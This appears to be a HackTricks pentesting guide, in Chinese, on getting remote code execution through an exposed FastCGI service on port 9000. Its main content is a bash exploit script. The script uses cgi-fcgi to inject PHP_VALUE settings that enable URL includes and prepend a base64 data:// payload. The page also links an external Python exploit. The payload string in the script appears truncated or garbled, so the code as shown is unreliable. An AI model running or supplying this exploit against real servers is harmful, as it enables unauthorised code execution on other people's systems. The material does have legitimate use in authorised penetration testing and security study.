{{#include ../banners/hacktricks-training.md}} # 基本信息 如果你想要**了解什么是FastCGI**,请查看以下页面: {{#ref}} pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}} 默认情况下,**FastCGI** 在 **9000** 端口运行,并且不被 nmap 识别。**通常** FastCGI 只在 **localhost** 上监听。 # RCE 让 FastCGI 执行任意代码是相当简单的: ```bash #!/bin/bash PAYLOAD="';" FILENAMES="/var/www/public/index.php" # Exisiting file path HOST=$1 B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT cat $OUTPUT done ``` 或者你也可以使用以下 Python 脚本: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75) {{#include ../banners/hacktricks-training.md}}